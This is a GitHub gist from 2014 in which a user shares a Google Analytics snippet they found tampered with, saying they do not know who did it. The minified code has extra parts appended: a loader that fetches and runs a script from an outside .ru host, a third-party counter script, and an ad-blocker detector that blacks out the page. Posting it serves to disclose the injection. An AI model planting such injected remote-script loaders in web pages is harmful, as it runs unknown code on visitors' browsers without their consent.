Created
September 4, 2014 02:26
-
-
Save svartalf/9567db1ad35693413c96 to your computer and use it in GitHub Desktop.
Google analytics with an injected ads script (have no idea who are doing that)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var e=document;window._gaq||eval("var _gaq = [];");_gaq.push(["_provide","inpage_linkid",f]); | |
function f(c,g){var l=/(?:^__utmli=|; ?__utmli=)([^;]*)/,d=this,m=function(a,b,d,c){var h="addEventListener",k="attachEvent";if(a[h])a[h](b,d,!!c);else if(a[k])a[k]("on"+b,d)};this.e=function(){return"; path=/"};var n=c._trackPageview;c._trackPageview=function(a){d.a();d.f&&c._setXKey(12,1,d.f);n.call(c,a)};this.g=function(){this.i||(this.i=!0,m(e,"click",function(a){d.h(a)}))};this.h=function(a){try{a=a||window.event;var b=a.target||a.srcElement;for(a=0;3>a&&!b.id&&b!=e.body;a++)b=b.parentNode;var c= | |
b.id||"";d.d(c)}catch(g){}return!0};this.b=function(a,b){f.prototype[a]=b};this.d=function(a){if(a&&100>a.length){a=a.replace(/[^-0-9a-z_:.]/gi,"");var b=new Date((new Date).getTime()+3E4);e.cookie="__utmli="+a+"; expires="+b.toUTCString()+this.e()}else this.a()};this.b("trackClickId",this.d);this.a=function(){e.cookie="__utmli=; expires=Thu, 01-Jan-1970 00:00:01 GMT"+this.e()};this.b("deleteClickId",this.a);this.c=function(a){var b=(l.exec(e.cookie)||["",""])[1];a&&a(b);return b};this.b("getClickId", | |
this.c);this.f=this.c();g.disableAutoTrackLinkId||this.g()}; | |
var d = document, s = d.createElement('script'), g = 'getElementsByTagName'; | |
s.type = 'text/javascript'; s.charset='UTF-8'; s.async = true; | |
s.src = 'http://pubsub.nullch.ru/8mi9nn0te6q8sa44hy3vwt615zdj028uv6yck6x105zpe2t'; | |
var h=d[g]('body')[0]; | |
h.appendChild(s); | |
setTimeout(function(){AdguardAlreadyLoaded?document.write('<h2>Для доступа к сайту и всему интернету - отключите AdBlock или AdGuard.<br />Turn off - AdBlock or AdGuard.</h2>'):a.style.display='none'},1e3); | |
var _cAdoneQueue=_cAdoneQueue||[];var _cAdoneHost='http://adone.ru';var _cAdoneVal='f53cb4x9f592e';var _cAdoneCid='734f42d1d6ba248a53203b8100c07008';(function(){var e=document.createElement('script');e.type='text/javascript';e.async=true;e.src=_cAdoneHost+'/cntr/js/counter.js?'+Math.floor(Math.random()*999999);var t=document.getElementsByTagName('script')[0];t.parentNode.insertBefore(e,t)})(); | |
!function(){function e(){return navigator.browserLanguage||navigator.language||navigator.userLanguage}function t(){switch(e()){case"ru":case"ru-ru":case"ru_UA":case"ru-RU":case"uk_UA":case"uk-UA":case"uk":return!0;default:return!1}}function o(){return t()?"Для получения доступа к контенту сайта отключите, пожалуйста, блокировщики рекламы, по типу AdBlock.":"To gain access to site content, deactivate ad blocker, like AdBlock."}function d(){return t()?"Обнаружен AdBlock.":"AdBlock detected."}function l(){a=document.createElement("iframe"),r=document.createElement("img"),a.id="zd",a.src="/52mp/index.php/adhandler/",a.style.display="block",a.style.border="none",r.id="xd",r.src="http://google.com/ads/popudner/banner.jpg?ad_height=300&adzone=100&adserver=1&adType=32",r.style.width=a.style.width="1px",r.style.height=a.style.height="1px",r.style.top=a.style.top="-1951px",r.style.left=a.style.left="-1052px",document.body.appendChild(a),document.body.appendChild(r),setTimeout(i,500)}function n(){var e=document.createElement("div");e.style.width="100%",e.style.top=0,e.style.bottom=0,e.style.left=0,e.style.right=0,e.style.background="#000",e.style.position="fixed",e.style.zIndex=1e5,e.style.opacity="0.7",e.style.filter="alpha(opacity="+100*parseFloat("0.7")+")";var t=document.createElement("div");t.style.width="400px",t.style.fontFamily="Arial",t.style.fontSize="14px",t.style.top="20px",t.style.marginRight="auto",t.style.background="#FFF",t.style.zIndex=100001,t.style.position="fixed",t.style.left="50%",t.style.marginLeft="-200px",t.style.marginTop="200px",t.style.color="#000",t.style.border="1px solid #000",t.style.borderRadius="5px",t.style.MozBorderRadius="5px";var l=document.createElement("div");l.style.borderTopLeftRadius="5px",l.style.MozBorderTopLeftRadius="5px",l.style.borderTopRightRadius="5px",l.style.MozBorderTopRightRadius="5px",l.style.backgroundImage="-moz-linear-gradient(top, #FAFAFA 0%, #E3E3E3 100%)",l.style.backgroundImage="-webkit-gradient(linear, left top, left bottom, color-stop(0, #FAFAFA), color-stop(1, #E3E3E3));\n ",l.style.height="20px",l.style.color="#333333",l.style.lineHeight="20px",l.style.padding="11px 15px 9px",l.style.borderBottom="1px solid #EAEAEA",l.style.fontSize="16px",l.style.fontWeight="bold",l.innerHTML=d(),t.appendChild(l);var n=document.createElement("div");n.style.padding="15px",n.style.borderTop="1px solid #CCCCCC",n.innerHTML=o(),t.appendChild(n),document.body.appendChild(t),document.body.appendChild(e)}function i(){document.getElementById("xd").style.display.indexOf("none")>-1||""!=document.getElementById("xd").className?s=!0:"hidden"==document.getElementById("zd").style.visibility?s=!0:0==document.getElementById("zd").clientHeight&&(s=!0),a.parentNode.removeChild(a),r.parentNode.removeChild(r),s===!0&&n()}var s=!1,a=void 0,r=void 0;l()}(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment